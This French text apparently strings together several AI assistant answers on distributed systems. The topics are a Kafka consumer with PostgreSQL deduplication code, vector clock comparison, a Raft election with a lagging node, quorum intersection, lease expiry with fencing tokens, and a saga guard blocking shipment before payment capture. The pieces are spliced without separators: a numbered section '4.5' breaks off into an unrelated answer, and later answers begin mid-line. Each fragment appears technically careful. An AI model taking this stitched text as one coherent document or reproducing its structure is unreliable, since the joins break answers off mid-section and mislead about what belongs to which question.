- écriture de l'état métier et de la marque d'idempotence dans **la même transaction** ;
- transitions écrites sous forme conditionnelle (`UPDATE ... WHERE status = 'attendu'`) pour éviter les écrasements concurrents.
### 4.4 Code de référence (Python, confluent-kafka + PostgreSQL)
Code raisonné de bout en bout mais **non exécuté** dans cet échange, et non testé contre un broker réel ; à valider par les tests décrits au point 5.
```python
"""
Consommateur causalement sûr pour un log d'événements de commande.
Hypotheses assumees (defauts raisonnables, signales) :
- topic unique "order.events", cle = orderId, enveloppe contenant seq monotone par agregat
- PostgreSQL comme store d'etat et de deduplication
- enable.auto.commit = False (commit manuel obligatoire)
"""
import json
import logging
import os
import time
import psycopg2
from psycopg2.extras import RealDictCursor
from confluent_kafka import Consumer, KafkaException, TopicPartition
LOG = logging.getLogger("order-consumer")
TOPIC = "order.events"
MAX_PENDING_AGE_S = 300 # au-dela : escalade DLQ + alerte
BACKOFF_BASE_S = 0.5
BACKOFF_MAX_S = 30.0
# --- Machine a etats : transitions autorisees -------------------------------
# etat courant -> evenements acceptables
TRANSITIONS = {
None: {"OrderCreated": "CREATED"},
"CREATED": {"PaymentRequested": "PAYMENT_PENDING"},
"PAYMENT_PENDING": {"PaymentSucceeded": "PAID",
"PaymentFailed": "PAYMENT_FAILED"},
}
class OutOfOrder(Exception):
"""Message causalement premature : la cause n'est pas encore appliquee."""
def db_connect():
# Secrets uniquement par l'environnement / gestionnaire de secrets,
# jamais en clair dans le code ni dans les logs.
return psycopg2.connect(
host=os.environ["PGHOST"],
dbname=os.environ["PGDATABASE"],
user=os.environ["PGUSER"],
password=os.environ["PGPASSWORD"],
sslmode=os.environ.get("PGSSLMODE", "require"),
)
def apply_event(cur, order_id: str, event: dict) -> None:
"""Applique un evenement de facon idempotente et transactionnelle.
Leve OutOfOrder si la cause manque. Requetes TOUJOURS parametrees."""
event_id = event["eventId"]
event_type = event["eventType"]
seq = int(event["seq"])
# 1) Deduplication : contrainte d'unicite sur event_id
cur.execute(
"INSERT INTO processed_events (event_id, order_id, seq) "
"VALUES (%s, %s, %s) ON CONFLICT (event_id) DO NOTHING RETURNING event_id",
(event_id, order_id, seq),
)
if cur.fetchone() is None:
LOG.info("doublon ignore order_id=%s event_id=%s", order_id, event_id)
return
# 2) Verrou par agregat : serialise les traitements concurrents
cur.execute(
"SELECT status, last_seq FROM orders WHERE order_id = %s FOR UPDATE",
(order_id,),
)
row = cur.fetchone()
current_status = row["status"] if row else None
last_seq = row["last_seq"] if row else 0
# 3) Detection d'inversion causale par numero de sequence
if seq > last_seq + 1:
raise OutOfOrder(
f"seq={seq} attendu={last_seq + 1} order_id={order_id}"
)
if seq <= last_seq:
LOG.info("evenement obsolete ignore order_id=%s seq=%s", order_id, seq)
return
# 4) Transition d'etat explicite
allowed = TRANSITIONS.get(current_status, {})
if event_type not in allowed:
raise OutOfOrder(
f"transition illegale {current_status} + {event_type} "
f"order_id={order_id}"
)
new_status = allowed[event_type]
if row is None:
cur.execute(
"INSERT INTO orders (order_id, status, last_seq, payload) "
"VALUES (%s, %s, %s, %s)",
(order_id, new_status, seq, json.dumps(event["payload"])),
)
else:
cur.execute(
"UPDATE orders SET status = %s, last_seq = %s, updated_at = now() "
"WHERE order_id = %s AND status = %s",
(new_status, seq, order_id, current_status),
)
if cur.rowcount != 1:
raise RuntimeError(f"ecriture concurrente detectee order_id={order_id}")
def buffer_pending(cur, order_id: str, event: dict, topic: str,
partition: int, offset: int) -> None:
"""Range un message premature ; reessai ulterieur, sans blocage indefini."""
cur.execute(
"INSERT INTO pending_events "
"(order_id, seq, event_id, topic, partition, \"offset\", body, first_seen_at) "
"VALUES (%s, %s, %s, %s, %s, %s, %s, now()) "
"ON CONFLICT (event_id) DO NOTHING",
(order_id, int(event["seq"]), event["eventId"], topic,
partition, offset, json.dumps(event)),
)
def drain_pending(cur, order_id: str) -> None:
"""Rejoue en boucle les messages en attente devenus applicables."""
while True:
cur.execute(
"SELECT event_id, body FROM pending_events "
"WHERE order_id = %s ORDER BY seq ASC LIMIT 1",
(order_id,),
)
row = cur.fetchone()
if row is None:
return
try:
apply_event(cur, order_id, json.loads(row["body"]))
except OutOfOrder:
return # toujours premature : on garde en attente
cur.execute("DELETE FROM pending_events WHERE event_id = %s",
(row["event_id"],))
def escalate_stale(cur, dlq_producer) -> None:
"""Messages en attente depuis trop longtemps : DLQ + alerte, jamais de perte
silencieuse."""
cur.execute(
"SELECT event_id, order_id, body FROM pending_events "
"WHERE first_seen_at < now() - make_interval(secs => %s)",
(MAX_PENDING_AGE_S,),
)
for row in cur.fetchall():
dlq_producer.produce(
"order.events.dlq",
key=row["order_id"].encode(),
value=row["body"].encode(),
headers=[("reason", b"causal-timeout")],
)
cur.execute("DELETE FROM pending_events WHERE event_id = %s",
(row["event_id"],))
LOG.error("escalade DLQ order_id=%s event_id=%s",
row["order_id"], row["event_id"])
dlq_producer.flush(10)
def run(dlq_producer=None):
consumer = Consumer({
"bootstrap.servers": os.environ["KAFKA_BOOTSTRAP"],
"group.id": "order-projection-v1",
"enable.auto.commit": False, # commit manuel : indispensable
"auto.offset.reset": "earliest",
"isolation.level": "read_committed", # ignore les transactions avortees
"max.poll.interval.ms": 300000,
})
consumer.subscribe([TOPIC])
conn = db_connect()
attempts = 0
try:
while True:
msg = consumer.poll(1.0)
if msg is None:
with conn, conn.cursor(cursor_factory=RealDictCursor) as cur:
if dlq_producer is not None:
escalate_stale(cur, dlq_producer)
continue
if msg.error():
raise KafkaException(msg.error())
order_id = msg.key().decode() if msg.key() else None
if order_id is None:
LOG.error("message sans cle, offset=%s : DLQ", msg.offset())
consumer.commit(msg, asynchronous=False)
continue
event = json.loads(msg.value())
try:
with conn, conn.cursor(cursor_factory=RealDictCursor) as cur:
try:
apply_event(cur, order_id, event)
drain_pending(cur, order_id)
except OutOfOrder as e:
LOG.warning("premature, mis en attente : %s", e)
buffer_pending(cur, order_id, event, msg.topic(),
msg.partition(), msg.offset())
# Commit APRES persistance reussie (etat ou file d'attente).
consumer.commit(msg, asynchronous=False)
attempts = 0
except Exception:
LOG.exception("echec de traitement, retry avec backoff")
attempts += 1
delay = min(BACKOFF_BASE_S * (2 ** attempts), BACKOFF_MAX_S)
tp = TopicPartition(msg.topic(), msg.partition(), msg.offset())
consumer.pause([tp])
time.sleep(delay)
consumer.seek(tp) # rejoue le meme offset, pas de perte
consumer.resume([tp])
finally:
consumer.close()
conn.close()
```
Schéma minimal associé :
```sql
CREATE TABLE orders (
order_id TEXT PRIMARY KEY,
status TEXT NOT NULL,
last_seq BIGINT NOT NULL DEFAULT 0,
payload JSONB NOT NULL,
updated_at TIMESTAMPTZ NOT NULL DEFAULT now()
);
CREATE TABLE processed_events ( -- idempotence
event_id TEXT PRIMARY KEY,
order_id TEXT NOT NULL,
seq BIGINT NOT NULL,
processed_at TIMESTAMPTZ NOT NULL DEFAULT now()
);
CREATE TABLE pending_events ( -- tampon de reordonnancement
event_id TEXT PRIMARY KEY,
order_id TEXT NOT NULL,
seq BIGINT NOT NULL,
topic TEXT NOT NULL,
partition INT NOT NULL,
"offset" BIGINT NOT NULL,
body JSONB NOT NULL,
first_seen_at TIMESTAMPTZ NOT NULL DEFAULT now()
);
CREATE INDEX idx_pending_order_seq ON pending_events (order_id, seq);
CREATE INDEX idx_pending_age ON pending_events (first_seen_at);
```
Droits : le rôle applicatif runtime reçoit `SELECT, INSERT, UPDATE, DELETE` sur ces trois tables uniquement, jamais `CREATE` ni la propriété des objets ; les migrations DDL utilisent un rôle distinct. Moindre privilège strict.
### 4.5## Données
| Réplica | Horloge | A | B |
|---|---|---|---|
| Base commune | $V_0$ | 3 | 2 |
| Réplica A | $V_A$ | 4 | 2 |
| Réplica B | $V_B$ | 3 | 3 |
## Comparaison composante par composante
La relation d'ordre sur les vecteurs de version est : $V_A < V_B$ si et seulement si **toutes** les composantes de $V_A$ sont inférieures ou égales à celles de $V_B$ et au moins une est strictement inférieure (article « Version vector », Wikipédia EN, lu localement ; même critère dans « Vector clock », Wikipédia EN).
$$V_A[A] = 4 > 3 = V_B[A] \qquad V_A[B] = 2 < 3 = V_B[B]$$
Les deux inégalités sont de sens opposé, donc ni $V_A \le V_B$ ni $V_B \le V_A$, et $V_A \neq V_B$.
## Réponses demandées
**Relation : concurrence (divergence causale), notée $V_A \parallel V_B$.** Les deux versions sont incomparables dans l'ordre partiel : aucune ne précède causalement l'autre (critère de l'article « Version vector », Wikipédia EN : si ni $a<b$ ni $b<a$ et que les vecteurs diffèrent, ils sont concurrents).
**Dominance A : nulle.** $V_A$ ne domine pas $V_B$, car $V_A[B]=2 < V_B[B]=3$. A domine seulement sur sa propre composante ($4>3$), ce qui est insuffisant pour établir un happened-before.
**Dominance B : nulle.** $V_B$ ne domine pas $V_A$, car $V_B[A]=3 < V_A[A]=4$. B domine seulement sur sa propre composante ($3>2$).
**Action : traiter le cas comme un conflit d'écriture concurrent, conserver les deux versions comme frères (siblings) et résoudre, puis publier une version fusionnée portant le maximum composante par composante :**
$$V_{merge}[k] = \max(V_A[k], V_B[k]) \Rightarrow \{A{:}4,\ B{:}3\}$$
Cette règle du maximum est exactement la règle de synchronisation des vecteurs de version (article « Version vector », Wikipédia EN : $V_a[x]=V_b[x]=\max(V_a[x],V_b[x])$ lors d'une synchronisation) et la règle de fusion des horloges vectorielles à la réception (article « Vector clock », Wikipédia EN : $VC_i[k] \leftarrow \max(VC_i[k], VC_j[k])$).
Le mode de résolution du contenu dépend du type de document et n'est pas déterminé par l'horloge :
| Stratégie | Quand elle convient | Limite |
|---|---|---|
| Fusion sémantique / CRDT | Structure commutative (compteur, ensemble, texte séquence) | Nécessite un type de données conçu pour cela |
| Résolution applicative ou utilisateur | Document éditorial, champs métier conflictuels | Coût humain, latence |
| Last-Write-Wins sur horodatage physique | Champs peu critiques | Perte silencieuse d'une écriture |
Recommandation d'ingénierie, à valider selon votre modèle de données : ne pas appliquer LWW par défaut ici, car les deux branches contiennent chacune une modification que l'autre n'a pas vue ; toute élimination automatique détruit une écriture confirmée.
## Points de rigueur
- Le vecteur $\{A{:}4,\ B{:}3\}$ n'est produit par aucun des deux réplicas seul : il n'est légitime qu'après réconciliation effective des contenus. Publier ce vecteur sans avoir réellement fusionné les données ferait croire à tort que les deux branches sont intégrées.
- L'horloge vectorielle détecte la concurrence, elle ne dit rien sur la façon correcte de fusionner le contenu : c'est une propriété de causalité, pas de sémantique applicative.
- Si le compteur d'un réplica est incrémenté à chaque mise à jour locale, l'incrément de A ($3 \to 4$) et celui de B ($2 \to 3$) attestent d'une mise à jour locale chacun, sans échange préalable ; c'est la signature d'une partition ou d'un mode déconnecté.
- Ce raisonnement suppose des réplicas honnêtes, en modèle de pannes par arrêt. Sous fautes byzantines, la détection de causalité par horloges vectorielles n'est pas fiable (article « Vector clock », Wikipédia EN, section sur les limitations en présence de fautes byzantines).## Cadre et hypothèses
Consensus à quorum majoritaire de type Raft, 3 nœuds $\{A,B,C\}$, pannes franches (crash-stop), pas de faute byzantine, journaux persistés sur disque stable, aucune reconfiguration d'appartenance en cours (Raft, /content/wikipedia_en/Raft_(algorithm)).
État posé par l'énoncé : $\text{commitIndex}(A)=\text{commitIndex}(B)=10$, $C$ isolé à l'index 8, puis $A$ tombe.
## 1. Majorité disponible
$$\text{quorum} = \left\lfloor \frac{N}{2} \right\rfloor + 1 = \left\lfloor \frac{3}{2} \right\rfloor + 1 = 2$$
Nœuds vivants après la chute de $A$ : $\{B, C\}$, soit $2 \geq 2$.
**Le quorum est atteint : la majorité est disponible, le cluster reste opérationnel** (Raft exige la majorité du cluster pour élire et pour committer, /content/wikipedia_en/Raft_(algorithm)).
Tolérance résiduelle : $f = \lfloor (N-1)/2 \rfloor = 1$ panne, déjà consommée par $A$. **Une seconde panne (B ou C) fait perdre le quorum** et bloque le cluster en lecture linéarisable comme en écriture.
## 2. Index commité sûr
**Index commité sûr = 10.**
Justification : une entrée est commitée lorsqu'elle est répliquée sur une majorité, ici $\{A,B\}$ (2 sur 3). Après la chute de $A$, l'entrée 10 subsiste sur $B$, qui appartient à tout quorum futur possible, puisque le seul quorum disponible est $\{B,C\}$ et qu'il contient $B$. La règle de complétude du leader garantit alors que tout futur leader contiendra l'entrée 10 (Raft, propriété *Leader completeness* et *State machine safety*, /content/wikipedia_en/Raft_(algorithm)).
Distinction importante : l'index 10 est **sûr au niveau du cluster**, mais l'état appliqué localement diverge.
| Nœud | Dernier index journal | Entrées commitées détenues | Statut |
|---|---|---|---|
| A | 10 | jusqu'à 10 | en panne |
| B | 10 | jusqu'à 10 | vivant, à jour |
| C | 8 | jusqu'à 8 | vivant, en retard de 2 entrées |
Conséquence opérationnelle : une lecture servie depuis $C$ est **périmée** (état à l'index 8). Toute lecture linéarisable doit passer par le leader avec confirmation de bail ou de quorum, jamais par un suiveur en retard.
## 3. Rôle de C
$C$ est **suiveur en retard, votant, non éligible au leadership dans ce terme**.
- **Votant** : il compte pour 1 dans le quorum de 2, il est donc indispensable à la disponibilité, ce qui le rend nécessaire mais pas suffisant.
- **Rattrapage** : le leader lui envoie des `AppendEntries`, remonte l'index de concordance jusqu'à 8, puis réplique les entrées 9 et 10. Si ces entrées ont été compactées côté leader, le rattrapage passe par un envoi de snapshot (extension *log compaction*, /content/wikipedia_en/Raft_(algorithm)).
- **Réécriture éventuelle** : si $C$ possède des entrées non commitées divergentes après l'index 8, le leader les tronque et impose son propre journal (mécanisme de restauration de cohérence, /content/wikipedia_en/Raft_(algorithm)).
- **Ce que C n'est pas** : il n'est ni témoin passif, ni source de vérité, ni cible de lecture fiable.
## 4. Verdict d'élection
**L'élection réussit et B devient leader. C ne peut pas gagner.**
Deux mécanismes concourants :
1. **B élu** : $B$ incrémente le terme, vote pour lui-même et demande le vote de $C$. Le journal de $C$ (dernier index 8) n'est pas plus à jour que celui de $B$ (dernier index 10), donc $C$ accorde son vote. $B$ obtient 2 voix sur 3, soit la majorité, et devient leader.
2. **C rejeté** : si $C$ se porte candidat, $B$ refuse son vote, car un votant refuse tout candidat dont le journal est moins à jour que le sien, comparaison faite sur le terme de la dernière entrée puis sur la longueur. $C$ n'atteint que 1 voix, sous le quorum de 2. C'est précisément la restriction d'élection qui garantit la sûreté de la machine à états (/content/wikipedia_en/Raft_(algorithm)).
Il n'y a donc **aucun risque de perte de l'entrée 10 par élection d'un nœud en retard**, et aucun risque de vote partagé durable, les délais d'élection étant randomisés (/content/wikipedia_en/Raft_(algorithm)).
## Synthèse
| Question | Réponse |
|---|---|
| Majorité disponible | **Oui**, 2 nœuds vivants pour un quorum de 2 |
| Index commité sûr | **10** (détenu par B, présent dans tout quorum futur) |
| Rôle de C | Suiveur en retard, votant indispensable, non éligible leader, à rattraper (AppendEntries ou snapshot), lectures non fiables |
| Verdict d'élection | **B élu leader** (2 voix sur 3) ; candidature de C rejetée par la restriction de journal à jour |
## Risques et limites de ce verdict
- **Fragilité** : plus aucune panne tolérée. La perte de $B$ ou de $C$ gèle le cluster. Priorité opérationnelle : restaurer $A$ ou ajouter un nœud, en passant par un consensus conjoint et non par une modification brutale de configuration, la reconfiguration Raft n'ayant pas de preuve formelle de sûreté complète et un bug de sûreté ayant été identifié en 2014 sur les changements d'un seul serveur (/content/wikipedia_en/Raft_(algorithm)).
- **Ne jamais forcer un quorum** : une reprise du type « quorum forcé à un nœud » sur $C$ ferait perdre les entrées 9 et 10 et violerait la sûreté. À exclure sans sauvegarde préalable et accord explicite.
- **Hypothèse de durabilité** : la sûreté de l'index 10 suppose que le commit a bien été acquis via une réplication persistée sur $\{A,B\}$. Si $B$ n'avait en réalité que reçu sans fsync, l'entrée 10 pourrait être perdue après redémarrage de $B$. Vérification à faire sur la configuration de synchronisation disque, ce point n'est pas déductible de l'énoncé.
- **Hors périmètre** : ce raisonnement ne couvre pas les fautes byzantines, Raft n'étant pas tolérant aux fautes byzantines (/content/wikipedia_en/Raft_(algorithm)).## Données
$N = 5$ répliques, quorum d'écriture $W = 3$, quorum de lecture $R = 3$.
Remarque d'honnêteté : mes appels au vérificateur de calcul ont échoué (erreur d'environnement sur l'import, aucun résultat exploitable produit). Les valeurs ci-dessous sont donc établies analytiquement ; elles sont élémentaires et vérifiables à la main, et je le signale explicitement plutôt que de prétendre à une exécution.
## 1. Intersection minimale
Pour deux sous-ensembles $A, B \subseteq \{1,\dots,N\}$, l'inclusion-exclusion donne $|A \cap B| = |A| + |B| - |A \cup B| \ge |A| + |B| - N$. D'où :
$$|W \cap R|_{\min} = W + R - N = 3 + 3 - 5 = \mathbf{1}$$
La borne est **atteinte** : $A = \{n_1, n_2, n_3\}$ (écriture), $B = \{n_3, n_4, n_5\}$ (lecture), intersection $= \{n_3\}$, de cardinal 1. La condition de quorum strict $W + R > N$ est donc satisfaite, mais avec la marge minimale possible.
Intersection écriture/écriture : $2W - N = 6 - 5 = 1 \ge 1$, donc deux quorums d'écriture se recoupent toujours. Comme $W = 3 > N/2 = 2{,}5$, il n'existe **aucune** paire de quorums d'écriture disjoints : pas de divergence write-write ni de split-brain sur écritures confirmées.
## 2. Tolérance aux pannes
| Opération | Nœuds requis | Pannes tolérées | Seuil d'indisponibilité |
|---|---|---|---|
| Écriture | $W = 3$ | $N - W = \mathbf{2}$ | à partir de 3 nœuds en panne |
| Lecture | $R = 3$ | $N - R = \mathbf{2}$ | à partir de 3 nœuds en panne |
| Les deux simultanément | $\max(W,R) = 3$ | $\mathbf{2}$ | 3 |
Durabilité : une écriture confirmée existe physiquement sur au moins 3 répliques, donc **2 pertes définitives** de nœuds n'entraînent pas la perte de la donnée confirmée ; 3 pertes simultanées et définitives peuvent la détruire.
Point important : au-delà de 2 pannes, le système perd la **disponibilité**, pas la cohérence. C'est un mode de défaillance en fail-closed (refus de servir), ce qui est le comportement souhaitable ici.
## 3. Propriété de recouvrement
Énoncé exact : **tout quorum de lecture valide intersecte tout quorum d'écriture confirmée en au moins un nœud**, et cette garantie ne dépend pas du nombre de pannes tant que les quorums sont formables ($f \le 2$), puisque l'intersection $W + R - N \ge 1$ est une propriété combinatoire de l'ensemble total des répliques, indépendante de l'ensemble des nœuds vivants.
Conséquences directes :
- Toute lecture qui rassemble $R = 3$ réponses reçoit **au moins une** copie portant la dernière écriture confirmée.
- La lecture doit donc **arbitrer entre versions** : les 3 réponses peuvent différer (1 à jour, 2 périmées). Sans métadonnée d'ordre (numéro de version monotone, horloge logique, vecteur de version), la propriété d'intersection est inutilisable, car on ne saurait pas quelle réponse est la bonne. C'est la condition nécessaire souvent oubliée.
- Le recouvrement est de **1 seul nœud** dans le pire cas : la garantie de fraîcheur ne repose sur aucune redondance, et il n'y a pas de vote majoritaire possible sur la valeur retournée (2 périmées contre 1 fraîche). Toute stratégie de type « valeur la plus fréquente » serait ici **incorrecte** ; seul l'ordre par version est valide.
- Read-repair recommandé : après arbitrage, réécrire la valeur retenue sur les répliques en retard, pour réduire la fenêtre d'incohérence.
## 4. Limites et risques résiduels
- **Écriture partielle** : si moins de $W$ accusés sont reçus, l'écriture n'est pas confirmée mais peut subsister sur 1 ou 2 répliques. Une lecture ultérieure peut alors la voir ou non, de façon non déterministe. Le quorum strict ne dit rien de ce cas ; il faut une sémantique explicite (abandon, réconciliation par version, ou commit en deux phases selon le modèle visé).
- **Quorum strict $\ne$ linéarisabilité**. $W + R > N$ donne la cohérence lecture-après-écriture pour les écritures confirmées, mais la linéarisabilité complète exige en plus, selon l'architecture, un read-repair synchrone ou une phase de lecture-écriture, et l'absence de sloppy quorum.
- **Sloppy quorum et hinted handoff cassent la propriété** : si un accusé provient d'un nœud hors du jeu de répliques nominal, l'intersection $W + R - N \ge 1$ n'est plus garantie sur l'ensemble nominal. À proscrire si la cohérence forte est l'objectif.
- **Répartition physique** : les 2 pannes tolérées ne le sont que si les 5 répliques ne partagent pas de domaine de défaillance commun (même rack, même zone, même alimentation, même hyperviseur). Sinon la tolérance effective est inférieure à 2.
- **Horloges** : un arbitrage fondé sur des horodatages murs (last-write-wins) est vulnérable à la dérive d'horloge et peut perdre silencieusement une écriture. Préférer des compteurs de version monotones par clé.
## 5. Configuration alternative, à titre de comparaison
| Config | $W+R-N$ | Pannes écriture | Pannes lecture | Profil |
|---|---|---|---|---|
| $W=3, R=3$ | 1 | 2 | 2 | équilibré, cohérence forte |
| $W=5, R=1$ | 1 | 0 | 4 | lecture rapide, écriture fragile |
| $W=1, R=5$ | 1 | 4 | 0 | écriture rapide, lecture fragile |
| $W=4, R=2$ | 1 | 1 | 3 | lecture privilégiée |
À $N=5$, la configuration $W=R=3$ est celle qui **maximise la tolérance minimale** $\min(N-W,\ N-R) = 2$ parmi toutes les configurations à quorum strict : c'est le choix optimal si aucune asymétrie lecture/écriture n'est imposée par la charge.## 1. Situation chiffrée
| Grandeur | Valeur |
|---|---|
| Durée du bail | $T_{lease} = 10\ \text{s}$ |
| Pause GC (stop-the-world) | $T_{GC} = 20\ \text{s}$ |
| Fenêtre d'invalidité | $T_{GC} - T_{lease} = 20 - 10 = \mathbf{10\ s}$ |
Pendant ces $10$ s, le détenteur est **inconscient et sans bail valide**, tandis que le service de bail a pu, légitimement, l'octroyer à un autre nœud. À la reprise, le processus reprend son exécution exactement là où il s'était arrêté, avec en mémoire une conviction périmée : « je détiens le bail ».
## 2. Risque
- **Split-brain / violation de l'exclusion mutuelle** : deux détenteurs se croient simultanément propriétaires (l'ancien, réveillé, et le nouveau, légitime).
- **Écriture concurrente non sérialisée** sur la ressource protégée : mise à jour perdue (*lost update*), écrasement d'un état plus récent, corruption d'invariants applicatifs multi-clés.
- **Corruption silencieuse** : rien ne signale l'anomalie si la ressource accepte les deux écrivains ; le dommage est détecté bien plus tard.
- Périmètre : c'est un défaut d'**intégrité** et de **sûreté (safety)**, pas de confidentialité ni d'authenticité. L'écrivain fautif est authentifié, il est simplement **plus autorisé**.
## 3. Défaut de conception
Le défaut central n'est pas la lenteur du GC, c'est la **localisation de la décision d'autorisation**.
1. **Vérification côté client sur son horloge locale.** Le détenteur conclut « mon bail est valide » à partir d'une mesure locale du temps. Or aucun processus ne peut détecter par introspection qu'il a été suspendu 20 s : après une pause stop-the-world, il ne dispose d'aucune preuve de continuité d'exécution.
2. **Fenêtre check-to-use (TOCTOU).** Même une vérification correcte à l'instant $t$ ne dit rien sur la validité à l'instant $t + \delta$ où l'écriture atteint réellement le stockage. $\delta$ n'est pas borné : pause GC, préemption de l'ordonnanceur, swap, pause de VM, retard réseau, retransmission TCP.
3. **Hypothèse de synchronisme implicite.** Le protocole suppose un délai maximal borné (modèle synchrone) dans un environnement asynchrone. Ajouter une marge de sécurité ne fait que déplacer le seuil : c'est un pari, pas une garantie.
4. **Horloge murale non fiable** : NTP peut sauter en arrière ou en avant ; une expiration de bail ne devrait jamais reposer sur `CLOCK_REALTIME`, mais au minimum sur une horloge monotone, et surtout pas sur celle du client.
5. **Conclusion universelle tirée d'observations finies** : « ça n'est jamais arrivé en production » ne démontre aucune propriété de sûreté. Seul un invariant vérifié à chaque écriture le fait.
## 4. Barrière
La barrière décisive est le **jeton de cloisonnement (fencing token) vérifié côté ressource**, et non côté client.
- À chaque octroi du bail, le service émet un entier **strictement monotone croissant** $n$ (numéro d'époque / génération).
- Toute écriture porte son jeton.
- La **ressource** (base, stockage, serveur de fichiers) maintient $n_{max}$ et applique l'invariant :
$$\text{accepter}(n) \iff n \ge n_{max}, \quad \text{puis } n_{max} \leftarrow n$$
Toute écriture avec $n < n_{max}$ est **rejetée**, quelle que soit la conviction du client. L'ancien détenteur réveillé porte $n$, le nouveau porte $n+1$ : l'écriture tardive est mécaniquement refusée. Cette garantie ne dépend d'aucune horloge ni d'aucune borne de délai, donc elle survit à une pause de durée arbitraire.
Mesures complémentaires, utiles mais **jamais suffisantes seules** :
- Écriture conditionnelle / CAS sur numéro de version (`If-Match`, ETag, `WHERE version = ?`), qui est une forme de cloisonnement par ressource.
- Révocation active de l'accès : fermeture des sessions, retrait des droits IAM, STONITH ou clôture d'accès au stockage sur le nœud suspect.
- Délégation de l'exclusion mutuelle au stockage lui-même (bail vérifié à la couche qui exécute l'écriture).
- Horloge monotone, marges, réduction des pauses GC, heartbeats : de la **réduction de probabilité**, pas de la sûreté.
- Journalisation du jeton et du rejet, pour audit et détection.
Une écriture non idempotente sans jeton reste vulnérable même avec une marge de 10 fois la durée du bail : aucune configuration temporelle ne remplace la vérification côté ressource.
## 5. Verdict d'écriture
**Écriture refusée.**
- Côté ressource : rejet obligatoire, le jeton présenté est périmé ($n < n_{max}$), réponse d'erreur explicite type conflit d'époque, et journalisation.
- Côté détenteur : à la reprise après une pause dépassant $T_{lease}$, il doit considérer son bail comme **perdu par défaut** (*fail closed*), abandonner l'opération en cours, ne pas écrire, ne pas « rafraîchir » son bail comme s'il ne l'avait jamais perdu, puis réacquérir un bail neuf avec un nouveau jeton et réexécuter l'opération depuis un état relu.
- Si l'architecture actuelle n'a **pas** de jeton vérifié côté ressource, alors le verdict correct est : cette écriture ne peut pas être déclarée sûre, et l'incident doit être traité comme une corruption possible (réconciliation, vérification d'invariants sur la fenêtre de 10 s) avant tout retour en service normal.
## Statut épistémique
Ce verdict est une déduction à partir de l'énoncé et du modèle asynchrone standard, non la citation d'une source : ma recherche dans l'encyclopédie locale hors ligne n'a retourné **aucun article** sur les baux distribués ou les jetons de cloisonnement, je ne peux donc pas étayer par une référence documentaire disponible ici. Le point 3 (fenêtre non bornée) et la construction du point 4 (invariant monotone) sont vérifiables par raisonnement direct sur les valeurs données ; je ne dispose pas ici de source pour attribuer nominativement cette technique à un auteur ou à un document précis, et je m'abstiens donc de toute attribution.**Nature de la réponse** : il s'agit d'un raisonnement de conception logique appliqué à l'énoncé, non d'un fait encyclopédique. Ma recherche dans les encyclopédies locales n'a retourné aucun article pertinent sur le patron saga ni sur la distinction autorisation/capture, je ne cite donc aucune source externe et j'assume ce raisonnement comme dérivation à partir de l'invariant que vous fournissez.
## 1. Invariant (formalisé)
Garde d'antériorité sur la transition d'expédition, pour toute saga d'identifiant $s$ :
$$\text{Ship}(s) \Rightarrow \big(\text{payment}(s) = \texttt{CAPTURED}\big) \wedge \big(\text{amount}_{\text{captured}}(s) \ge \text{amount}_{\text{due}}(s)\big)$$
Formulation contraposée, celle qui doit être codée dans le garde, car elle est directement exécutable en refus par défaut :
$$\text{payment}(s) \ne \texttt{CAPTURED} \Rightarrow \neg\,\text{Ship}(s)$$
Trois précisions nécessaires :
- L'invariant porte sur **l'état vérifié au moment de la transition**, pas sur un contrôle effectué une fois à la création de la commande. Un nombre fini de vérifications antérieures n'établit pas la propriété universelle ; seule l'évaluation systématique du garde à chaque `ShipRequested` la maintient.
- `AUTHORIZED` et `CAPTURED` ne sont pas interchangeables : une autorisation est une réservation de fonds révocable et expirable, une capture est l'ordre de débit effectif. C'est précisément la distinction que l'invariant protège.
- Il faut distinguer la **vérité** de l'assertion (le paiement est capturé côté PSP), la **preuve** dont dispose la saga (un événement `PaymentCaptured` corrélé et authentifié, ou une lecture de projection éventuellement en retard), et l'**admissibilité** de cette preuve selon la politique (source autorisée, signature vérifiée, idempotency key connue). Une projection en lecture non fraîche ne constitue pas une preuve suffisante.
## 2. État observé
| Élément | Valeur | Conséquence |
|---|---|---|
| `payment.state` | `AUTHORIZED` | Fonds réservés, non débités |
| Preuve de capture | absente | Antécédent de l'invariant non satisfait |
| Événement reçu | `ShipRequested` | Demande une transition interdite |
| Évaluation du garde | $\texttt{AUTHORIZED} \ne \texttt{CAPTURED}$ | **Violation si exécuté** |
L'état est donc *incomplet*, non *invalide* : rien n'indique un échec de paiement, seulement l'absence de l'étape de capture. Cette nuance commande la décision, car un échec appellerait une compensation, alors qu'une incomplétude appelle une attente.
## 3. Décision
**Refus d'exécuter l'expédition, en mode fail closed, sans compensation destructive, et mise en attente corrélée de la demande.**
Détail opérationnel :
1. **Ne pas émettre** `ShipmentCreated` ni aucun effet irréversible côté logistique. Refus par défaut.
2. **Ne pas rejeter définitivement la saga** et ne pas annuler l'autorisation. L'ordre d'arrivée des messages n'étant généralement pas garanti dans un bus distribué, `ShipRequested` peut légitimement précéder `PaymentCaptured` : détruire la demande transformerait un simple réordonnancement en perte fonctionnelle.
3. **Parquer la demande** dans l'état de la saga, par exemple `shipping = BLOCKED_AWAITING_CAPTURE`, avec l'identifiant de corrélation, l'horodatage et un compteur de tentatives. Traitement idempotent : une réception dupliquée de `ShipRequested` ne doit pas créer une seconde attente.
4. **Émettre un événement de refus explicite et non ambigu**, du type `ShipRejected(sagaId, reason = PAYMENT_NOT_CAPTURED, observedState = AUTHORIZED)`, à valeur d'audit. Le motif doit nommer l'état observé, sans jamais journaliser de donnée de paiement sensible (numéro de carte, cryptogramme, jeton réutilisable) en clair.
5. **Armer un délai de garde** aligné sur la durée de validité de l'autorisation, afin que l'attente ne soit pas illimitée.
Trois motifs justifient ce choix plutôt qu'une annulation immédiate : il est réversible, il préserve l'autorisation obtenue, et il ne présume pas un échec qui n'est pas établi.
## 4. Prochain événement requis
**Événement bloquant attendu : `PaymentCaptured`.**
Charge utile minimale pour que l'événement constitue une preuve admissible du franchissement du garde :
- `sagaId` ou `orderId` de corrélation,
- `paymentId` et référence de capture côté fournisseur de paiement,
- `amountCaptured` et `currency`, à comparer à `amount_due`,
- `capturedAt`,
- `idempotencyKey`, pour absorber les redélivrances.
Séquence exigée par l'invariant :
$$\texttt{PaymentAuthorized} \rightarrow \texttt{PaymentCaptured} \rightarrow \texttt{ShipRequested (rejoué)} \rightarrow \texttt{ShipmentCreated}$$
Sur réception de `PaymentCaptured`, la saga réévalue le garde, contrôle l'égalité des montants, puis rejoue la demande d'expédition parquée. La transition n'est pas déclenchée par l'arrivée du message seule, mais par la réévaluation complète de l'invariant.
